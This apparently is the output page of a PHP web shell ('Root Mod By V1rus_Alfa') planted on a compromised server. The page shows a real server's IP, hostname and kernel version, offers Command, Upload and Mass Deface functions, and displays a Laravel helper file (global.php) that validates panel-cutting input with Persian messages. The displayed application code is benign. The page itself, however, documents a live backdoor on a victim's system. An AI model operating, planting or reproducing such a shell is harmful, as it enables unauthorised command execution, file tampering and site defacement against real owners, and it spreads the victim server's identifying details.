���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Helpers
/
Viewing: global.php
<?php use App\Models\AnalyzeDimension; use App\Models\AnalyzeMaterial; use App\Models\UnitList; function locale(string $locale) { return app()->getLocale() == $locale; } function locale_is_english() { return locale('en'); } function get_locale() { return app()->getLocale(); } function get_user_name($id) { $check = AnalyzeDimension::where('user_id', auth()->user()->id)->where('value', $id)->first(); $name = ''; if ($check) { $name = $check->name_sheet; } return $name; } function get_user_name_wood_type($name) { $check = AnalyzeDimension::where('user_id', auth()->user()->id)->where('name', $name)->first(); $name = $name; if ($check) { $name = $check->name_sheet; } return $name; } function get_groups($uid) { return UnitList::where('user_id', auth()->user()->id) ->with(['unit', 'unit.image_3D', 'attach', 'attach.material']) ->orderBy('unit_lists.id', 'desc')->whereNull('project_id')->where('uid', $uid)->get(); } function validateUnitData($form, $unit, $computing) { $message = null; if (99 < $form['count']) { $message = 'حداکثر تعداد در هر بار ثبت یک یونیت 99 عدد می باشد'; } if ($form['count'] <= 0) { $message = 'تعداد یونیت غیر مجاز است'; } if (0 < count($unit->variables)) { foreach ($unit->variables as $value) { if (($unit->id != 71 && $value->key != 'U') && !$form[$value->key]) { if (locale_is_english()) $message = 'the \'' . $value->label_en . '\' variable is required'; else $message = 'متغیر ' . $value->label . ' اجباری می باشد'; } if ($unit->id == 71 && $value->key == 'U') { if ($form[$value->key] < 0) { if (locale_is_english()) $message = 'the \'' . $value->label_en . '\' variable must at least have zero value'; else $message = 'مقدار متغیر ' . $value->label . ' باید حداقل صفر باشد'; } } else { if ($form[$value->key] <= 0) { if (locale_is_english()) $message = 'the \'' . $value->label_en . '\' variable must greater than zero'; else $message = 'مقدار متغیر ' . $value->label . ' باید بزرگتر از صفر باشد'; } } } } else { $message = trans('container.unit has no variables'); } foreach ($computing as $key => $item) { $w = (float)$item['width']; $l = (float)$item['length']; $dimension = AnalyzeDimension::where('user_id', auth()->user()->id)->where('value', (int)$item['material_id'])->first(); $panel_w = (float)$dimension->width - 2; $panel_l = (float)$dimension->length - 2; if (!$dimension['rotation']) { if ($panel_w < $w) { $message = 'عرض تکه ' . ($key + 1) . ' نباید بزرگتر از عرض ورق باشد'; } if ($panel_l < $l) { $message = 'طول تکه ' . ($key + 1) . ' نباید بزرگتر از طول ورق باشد'; } } else { if ($w <= $panel_w && $l < $panel_l) { } elseif ($l <= $panel_w && $w < $panel_l) { } elseif ($w <= $panel_l && $l < $panel_w) { } elseif ($l <= $panel_l && $w < $panel_w) { } else { $message = 'ابعاد تکه ' . ($key + 1) . ' نباید بزرگتر از عرض یا طول ورق باشد'; } } if ($message) { return $message; break; } } return $message; } function validateSliceData($form) { $message = null; if (!$form['material_id']) { $message = 'فیلد متریال اجباری می باشد'; } else { $dimension = AnalyzeDimension::where('user_id', auth()->user()->id)->where('value', (int)$form['material_id'])->first(); $panel_w = $dimension->width - 2; $panel_l = $dimension->length - 2; foreach ($form['slice'] as $key => $item) { $w = $item['width']; $l = $item['length']; $c = $item['count']; if (!$w) { $message = 'عرض تکه ' . ($key + 1) . ' اجباری باشد'; } if (!$l) { $message = 'طول تکه ' . ($key + 1) . ' اجباری باشد'; } if (!$c) { $message = 'تعداد تکه ' . ($key + 1) . ' اجباری باشد'; } if (!$item['rotate_status']) { if ($panel_w < $w) { $message = 'عرض تکه ' . ($key + 1) . ' نباید بزرگتر از عرض ورق باشد'; } if ($panel_l < $l) { $message = 'طول تکه ' . ($key + 1) . ' نباید بزرگتر از طول ورق باشد'; } } else { if ($w <= $panel_w && $l < $panel_l) { } elseif ($l <= $panel_w && $w < $panel_l) { } elseif ($w <= $panel_l && $l < $panel_w) { } elseif ($l <= $panel_l && $w < $panel_w) { } else { $message = 'ابعاد تکه ' . ($key + 1) . ' نباید بزرگتر از عرض یا طول ورق باشد'; } } if ($message) { return $message; break; } } } return $message; } function validateSingleSliceData($form) { $message = null; if (!$form['material_id']) { $message = 'فیلد متریال اجباری می باشد'; } else { $dimension = AnalyzeDimension::where('user_id', auth()->user()->id)->where('value', (int)$form['material_id'])->first(); $panel_w = $dimension->width - 2; $panel_l = $dimension->length - 2; $w = $form['width']; $l = $form['length']; $c = $form['count']; if (!$w) { $message = 'عرض تکه اجباری باشد'; } if (!$l) { $message = 'طول تکه اجباری باشد'; } if (!$c) { $message = 'تعداد تکه اجباری باشد'; } if ($panel_w < $w) { $message = 'عرض تکه نباید بزرگتر از عرض ورق باشد'; } if ($panel_l < $l) { $message = 'طول تکه نباید بزرگتر از طول ورق باشد'; } if ($message) { return $message; } } return $message; }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa